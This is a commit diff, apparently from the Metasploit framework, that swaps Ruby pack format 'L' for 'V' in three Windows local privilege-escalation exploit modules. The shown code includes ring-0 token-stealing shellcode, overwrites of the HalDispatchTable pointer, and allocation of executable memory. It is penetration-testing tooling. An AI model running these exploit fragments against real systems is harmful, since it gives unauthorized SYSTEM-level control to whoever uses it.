Moar bad packs

bug/bundler_fix
Meatballs 2014-08-15 21:11:37 +01:00
parent 4cfd2abd8d
commit 0cc3bdfb35
No known key found for this signature in database
GPG Key ID: 5380EAF01F2F8B38
3 changed files with 9 additions and 9 deletions

View File

@ -123,8 +123,8 @@ class Metasploit3 < Msf::Exploit::Local
this_proc = session.sys.process.open this_proc = session.sys.process.open
unless this_proc.memory.writable?(base_addr) unless this_proc.memory.writable?(base_addr)
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [1].pack('L'), nil, session.railgun.ntdll.NtAllocateVirtualMemory(-1, [1].pack('V'), nil,
[0xffff].pack('L'), [0xffff].pack('V'),
'MEM_COMMIT|MEM_RESERVE', 'MEM_COMMIT|MEM_RESERVE',
'PAGE_EXECUTE_READWRITE') 'PAGE_EXECUTE_READWRITE')
end end

View File

@ -90,15 +90,15 @@ class Metasploit3 < Msf::Exploit::Local
def ring0_shellcode(t) def ring0_shellcode(t)
restore_ptrs = "\x31\xc0" # xor eax, eax restore_ptrs = "\x31\xc0" # xor eax, eax
restore_ptrs << "\xb8" + [@addresses['HaliQuerySystemInfo']].pack('L') # mov eax, offset hal!HaliQuerySystemInformation restore_ptrs << "\xb8" + [@addresses['HaliQuerySystemInfo']].pack('V') # mov eax, offset hal!HaliQuerySystemInformation
restore_ptrs << "\xa3" + [@addresses['halDispatchTable'] + 4].pack('L') # mov dword ptr [nt!HalDispatchTable+0x4], eax restore_ptrs << "\xa3" + [@addresses['halDispatchTable'] + 4].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax
ring0_shellcode = restore_ptrs + token_stealing_shellcode(t) ring0_shellcode = restore_ptrs + token_stealing_shellcode(t)
ring0_shellcode ring0_shellcode
end end
def fill_memory(proc, address, length, content) def fill_memory(proc, address, length, content)
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [address].pack('L'), nil, [length].pack('L'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE') session.railgun.ntdll.NtAllocateVirtualMemory(-1, [address].pack('V'), nil, [length].pack('V'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE')
unless proc.memory.writable?(address) unless proc.memory.writable?(address)
vprint_error('Failed to allocate memory') vprint_error('Failed to allocate memory')
return nil return nil

View File

@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Local
def find_sys_base(drvname) def find_sys_base(drvname)
results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4) results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*") addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack('V*')
addresses.each do |address| addresses.each do |address|
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48) results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
@ -98,8 +98,8 @@ class Metasploit3 < Msf::Exploit::Local
def ring0_shellcode(t) def ring0_shellcode(t)
restore_ptrs = "\x31\xc0" # xor eax, eax restore_ptrs = "\x31\xc0" # xor eax, eax
restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"] ].pack("L") # mov eax, offset hal!HaliQuerySystemInformation restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"] ].pack('V') # mov eax, offset hal!HaliQuerySystemInformation
restore_ptrs << "\xa3" + [ @addresses["halDispatchTable"] + 4 ].pack("L") # mov dword ptr [nt!HalDispatchTable+0x4], eax restore_ptrs << "\xa3" + [ @addresses["halDispatchTable"] + 4 ].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax
tokenstealing = "\x52" # push edx # Save edx on the stack tokenstealing = "\x52" # push edx # Save edx on the stack
tokenstealing << "\x53" # push ebx # Save ebx on the stack tokenstealing << "\x53" # push ebx # Save ebx on the stack
@ -125,7 +125,7 @@ class Metasploit3 < Msf::Exploit::Local
def fill_memory(proc, address, length, content) def fill_memory(proc, address, length, content)
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE") result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
if not proc.memory.writable?(address) if not proc.memory.writable?(address)
vprint_error("Failed to allocate memory") vprint_error("Failed to allocate memory")